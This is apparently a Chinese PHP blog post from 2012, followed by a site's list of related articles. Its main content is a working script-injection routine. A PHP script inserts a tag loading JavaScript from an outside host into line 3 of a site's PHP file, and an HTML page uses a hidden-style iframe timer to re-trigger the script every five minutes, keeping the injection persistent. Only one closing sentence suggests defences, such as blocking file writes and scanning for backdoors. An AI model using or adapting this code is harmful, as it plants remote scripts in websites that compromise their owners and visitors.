php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
在Zeus Web Server中安装PHP语言支持
Oct 09 PHP
简体中文转换为繁体中文的PHP函数
Oct 09 PHP
PHP 文件上传进度条的两种实现方法的代码
Nov 25 PHP
php 中文处理函数集合
Aug 27 PHP
php 获取全局变量的代码
Apr 21 PHP
vs中通过剪切板循环来循环粘贴不同内容
Apr 30 PHP
PHP根据IP判断地区名信息的示例代码
Mar 03 PHP
PHP学习笔记之字符串编码的转换和判断
May 22 PHP
推荐5款跨平台的PHP编辑器
Dec 25 PHP
php保存信息到当前Session的方法
Mar 16 PHP
PHP实现的常规正则验证helper公共类完整实例
Apr 27 PHP
PHP设计模式之适配器模式(Adapter)原理与用法详解
Dec 12 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
PHP实现双链表删除与插入节点的方法示例
2017/11/11 PHP
javascript与CSS复习(《精通javascript》)
2010/06/29 Javascript
将string解析为json的几种方式小结
2010/11/11 Javascript
JS实现随机数生成算法示例代码
2013/08/08 Javascript
js string 转 int 注意的问题小结
2013/08/15 Javascript
jQuery实现的漂亮表单效果代码
2015/08/18 Javascript
jquery中live()方法和bind()方法区别分析
2016/06/23 Javascript
Javascript中字符串和数字的操作方法整理
2017/01/22 Javascript
Angular.js基础学习之初始化
2017/03/10 Javascript
JS中Safari浏览器中的Date
2017/07/17 Javascript
vue 实现剪裁图片并上传服务器功能
2018/03/01 Javascript
浅谈Angular6的服务和依赖注入
2018/06/27 Javascript
教你如何用node连接redis的示例代码
2018/07/12 Javascript
angularjs 动态从后台获取下拉框的值方法
2018/08/13 Javascript
js 根据对象数组中的属性进行排序实现代码
2019/09/12 Javascript
React生命周期原理与用法踩坑笔记
2020/04/28 Javascript
基于VUE实现判断设备是PC还是移动端
2020/07/03 Javascript
NodeJS开发人员常见五个错误理解
2020/10/14 NodeJs
[02:49]DAC2018决赛日TOP5 LGD开启黑暗之门绝杀VP
2018/04/08 DOTA
Python 元组(Tuple)操作详解
2014/03/11 Python
python 借助numpy保存数据为csv格式的实现方法
2018/07/04 Python
Python创建字典的八种方式
2019/02/27 Python
python实现数据分析与建模
2019/07/11 Python
python操作gitlab API过程解析
2019/12/27 Python
python使用正则表达式(Regular Expression)方法超详细
2019/12/30 Python
python with (as)语句实例详解
2020/02/04 Python
对django 2.x版本中models.ForeignKey()外键说明介绍
2020/03/30 Python
python3的pip路径在哪
2020/06/23 Python
详解Python中的文件操作
2021/01/14 Python
逼真的HTML5树叶飘落动画
2016/03/01 HTML / CSS
小学生防溺水广播稿
2014/01/12 职场文书
销售主管岗位职责范本
2014/02/14 职场文书
劳动竞赛活动方案
2014/02/20 职场文书
会计的岗位职责
2014/03/15 职场文书
2014年外联部工作总结
2014/11/17 职场文书
机关单位2016年法制宣传日活动总结
2016/04/01 职场文书